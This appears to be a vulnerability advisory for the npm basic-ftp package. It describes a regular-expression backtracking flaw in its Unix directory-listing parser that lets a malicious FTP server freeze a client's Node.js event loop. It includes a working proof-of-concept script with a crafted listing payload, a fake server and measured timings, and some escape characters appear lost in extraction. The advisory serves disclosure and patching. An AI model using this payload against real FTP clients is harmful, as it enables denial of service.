PT-2026-105502 · Npm · Basic-Ftp
Publicado
2026-10-01
·
Atualizado
2026-10-01
CVSS v4.0
8.2
Alta
| Vetor | AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N |
Summary
Client.list() parses the server's directory listing with the Unix-style parser in parseListUnix.js. Its RE LINE regex has two adjacent (S+(?:sS+)*) groups (owner name, then group name) followed by a required numeric size group. When a line starts with a valid listing prefix but the tokens after it never satisfy the size and date fields, the engine backtracks over every way of splitting those tokens between the two groups before it can fail, so matching one line costs roughly O(n²) in the line's length.The server whose directory a client lists controls that listing, so it can return one line that pins the Node.js event loop for as long as it likes.
parseList() picks the parser from the last non-blank line only, then runs it on every line, so a normal line placed last selects the Unix parser and a crafted line earlier hits the quadratic match.Proof of concept
npm i basic-ftp && node repro.js:js
const net = require("net"), ftp = require("basic-ftp");
const KB = Number(process.env.LINE KB || 128);
const payload = "-rw-r--r-- 1 " + "a ".repeat((KB * 1024 - 13) / 2) + "!";
const listing = payload + "r
-rw-r--r-- 1 owner group 42 Jan 1 2020 file.txtr
";
const server = net.createServer(c => {
c.setEncoding("latin1"); c.write("220 okr
"); let buf = "";
c.on("data", d => { buf += d; let i;
while ((i = buf.indexOf("r
")) !== -1) {
const cmd = buf.slice(0, i).toUpperCase(); buf = buf.slice(i + 2);
if (cmd.startsWith("USER")) c.write("331 .r
");
else if (cmd.startsWith("PASS")) c.write("230 .r
");
else if (cmd.startsWith("FEAT")) c.write("211-xr
UTF8r
211 Endr
");
else if (cmd.startsWith("EPSV")) { const ds = net.createServer(s => { s.write(listing); s.end(); });
ds.listen(0, "127.0.0.1", () => c.write(`229 (|||${ds.address().port}|)r
`)); }
else if (cmd.startsWith("LIST")) { c.write("150 .r
"); setTimeout(() => c.write("226 .r
"), 50); }
else c.write("200 .r
"); } });
});
server.listen(0, "127.0.0.1", async () => {
const client = new ftp.Client(0);
await client.access({ host: "127.0.0.1", port: server.address().port, user: "x", password: "y" });
let beats = 0; const hb = setInterval(() => beats++, 1000); const t = Date.now();
await client.list(); clearInterval(hb);
console.log(`list() blocked ${(Date.now() - t) / 1000}s; heartbeats fired: ${beats}`);
process.exit(0);
});Prints
list() blocked 39.75s; heartbeats fired: 0, versus ~0.06s for a normal listing. The event loop is frozen the whole time. Cost is quadratic: 32 KB ≈ 2.4s, 64 KB ≈ 9.6s, 128 KB ≈ 39s. maxListingBytes defaults to 40 MB, so a single line can be far larger, and ~1 MB already blocks for tens of minutes.Impact
One directory listing freezes the whole process, under default options, through the primary API. This is the same "malicious FTP server causes client-side denial of service" shape as GHSA-rp42-5vxx-qpwr, also in
Client.list() and rated high. The byte cap added there bounds memory, not the parser's CPU cost.Correção
DoS
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Basic-Ftp